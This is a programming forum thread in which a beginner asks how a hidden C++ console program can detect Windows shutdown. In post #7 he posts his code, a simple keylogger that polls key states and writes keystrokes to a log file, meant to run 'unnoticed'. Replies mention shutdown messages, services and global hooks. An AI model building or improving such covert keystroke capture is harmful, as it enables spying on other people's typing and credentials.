C++ Detect power down.
CodeGuru Home VC++ / MFC / C++ .NET / C# Visual Basic VB Forums Developer.com
Results 1 to 8 of 8

Thread: C++ Detect power down.

  1. #1
    Join Date
    Feb 2011
    Posts
    4

    C++ Detect power down.

    Ive been searching for a while but i cant seem to fix my problem. I want to be able to make my program detect the computer powering down. My code is always running in the background and when the computer is powering down i want it to save what its doing and then close. If anyone wants me to post my code i would be glad to do so.

  2. #2
    VictorN's Avatar
    VictorN is offline Super Moderator Power Poster
    Join Date
    Jan 2003
    Location
    Wallisellen (ZH), Switzerland
    Posts
    17,381

    Re: C++ Detect power down.

    is it a windowless app?
    Victor Nijegorodov

  3. #3
    Join Date
    Feb 2011
    Posts
    4

    Re: C++ Detect power down.

    If you mean the windowless like the black box then yes it is windowless. (I didn't want to deal with the black box all the time. ) If you mean windowless as in have a pop up come up then i don't want any pop ups or anything, i just want it to be unnoticed.

  4. #4
    VictorN's Avatar
    VictorN is offline Super Moderator Power Poster
    Join Date
    Jan 2003
    Location
    Wallisellen (ZH), Switzerland
    Posts
    17,381

    Re: C++ Detect power down.

    I mean: does your application main thread create any window (hidden or minimized) or it is just a console application?
    If there is a window that it should receive the system messages like WM_QUERYENDSESSION, WM_ENDSESSION...
    Victor Nijegorodov

  5. #5
    Join Date
    Feb 2011
    Posts
    4

    Re: C++ Detect power down.

    its just a console application. if it would help i could post the code for you, its small and kinda crappy but i just started 4 days ago.

  6. #6
    Join Date
    Apr 2000
    Location
    Belgium (Europe)
    Posts
    3,878

    Re: C++ Detect power down.

    You'll need to write either a windowed app so you have a means to handle WM_QUERYENDSESSION etc like VictorN mentioned.
    Or you will need to write this as a proper service. You can then handle service start/stop requests.

    Note that the WM_QUERYENDSESSION messages are for logoff, not for reboot of the machine, this may or may not be relevant to your needs.

  7. #7
    Join Date
    Feb 2011
    Posts
    4

    Re: C++ Detect power down.

    ok heres the code, try and see what you can do to make it log the keys when you turn off the computer. (just like the f8 key) also i dont really know what the hwnd "pie" part does, so feel free to fix that aswell. :


    #include <windows.h>
    #include <string>
    #include <fstream>

    using namespace std;

    int main()
    {
    int Char;
    string letter;
    ofstream log;
    log.open("Log.txt", ios::app);
    while(!GetAsyncKeyState(VK_F8))
    {
    for(Char = 65; Char < 90; Char++)
    {
    if(GetAsyncKeyState(Char) == -32767)
    {
    letter+=Char;
    }
    }
    if(GetAsyncKeyState(VK_SPACE)==-32767)
    {
    letter+=" ";
    }

    if(GetAsyncKeyState(VK_BACK)==-32767)
    {
    letter+="[BACKSPACE]";
    }

    {
    HWND hWnd;
    hWnd = FindWindow (0, "pie");
    if (hWnd != 0);


    }

    }
    log << letter;
    log.close();
    return 0;
    }

  8. #8
    Join Date
    Apr 2000
    Location
    Belgium (Europe)
    Posts
    3,878

    Re: C++ Detect power down.

    You can't "log" keys for anything other than your console app. Doing anything outside of the console window will not result in anything in your app.

    while you can detect keys outside of your own app via a global hook (not the easiest of things)
    that still doesn't cover mouse actions that cause a logoff. You can hook those as wel (not easiest of things). But that still won't help you to detect that a logoff is about to happen with any realistically useful accuracy.

    looking at yoru code and what you're lookign at doing, I think you're way over year head trying to make something you're not even at all ready for. I'd suggest working some simpler , more straightforward projects first.

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  


Windows Mobile Development Center


Click Here to Expand Forum to Full Width

This is a CodeGuru survey question.


Featured


HTML5 Development Center